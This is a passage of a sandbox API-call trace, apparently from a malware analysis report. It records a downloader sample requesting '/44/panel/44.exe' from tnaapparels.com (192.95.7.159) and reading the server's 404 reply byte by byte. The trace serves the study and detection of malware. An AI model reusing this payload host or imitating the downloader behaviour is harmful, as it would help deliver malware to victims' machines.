%s\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\r\n\r\n" | out: param_1="GET /44/panel/44.exe HTTP/1.0\r\nHost: tnaapparels.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\r\n\r\n") returned 182 [0085.876] socket (af=2, type=1, protocol=6) returned 0x258 [0085.876] inet_addr (cp="tnaapparels.com") returned 0xffffffff [0085.876] gethostbyname (name="tnaapparels.com") returned 0x6725a8*(h_name="tnaapparels.com", h_aliases=0x6725b8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x6725bc*=([0]="192.95.7.159")) [0085.877] connect (s=0x258, name=0x12fd74*(sa_family=2, sin_port=0x50, sin_addr="192.95.7.159"), namelen=16) returned 0 [0086.000] lstrlenA (lpString="GET /44/panel/44.exe HTTP/1.0\r\nHost: tnaapparels.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\r\n\r\n") returned 182 [0086.000] send (in: s=0x258, buf=0x687c78*, len=182, flags=0 | out: buf=0x687c78*) returned 182 [0086.000] LocalAlloc (uFlags=0x40, uBytes=0x3b18) returned 0x689d00 [0086.000] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12fd78 | out: ppstm=0x12fd78*=0x6405d0) returned 0x0 [0086.000] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.123] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.123] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.123] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x48, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.123] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.123] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.123] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.123] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.123] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.124] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.124] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.124] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.124] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.124] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.124] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x50, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.124] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.124] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.124] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.124] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.124] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.124] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.125] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.125] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.125] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.125] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.125] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.125] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.125] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.125] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.125] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.125] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.125] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.125] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.125] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.125] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.125] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.125] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x34, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.126] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.126] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.126] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.126] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x30, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.126] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.126] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.126] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.126] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x34, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.126] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.126] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.126] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.126] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.126] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.126] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.126] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.126] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x4e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.127] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.127] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.127] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.127] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.127] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.127] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.127] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.127] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.127] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.127] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.127] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.127] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.127] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.127] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.127] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.127] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x46, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.128] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.128] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.128] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.128] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.128] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.128] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.128] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.128] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x75, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.128] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.128] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.128] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.128] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.128] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.128] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.128] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.128] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x64, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.129] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.129] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.129] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.129] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.129] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.129] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.129] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x48, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.129] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.129] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.129] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.129] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x50, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x4e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.130] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.130] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x46, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x75, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x64, pcbRead=0x12fd5c*=0x3) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x2) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x1) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.131] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x0, pcbRead=0x12fd5c*=0x0) returned 0x0 [0086.131] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.131] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.131] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.131] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x44, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.131] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.131] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.131] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.132] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x61, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.132] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.132] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.132] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.132] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.132] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.132] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.132] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.132] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.132] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.132] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.132] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.132] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 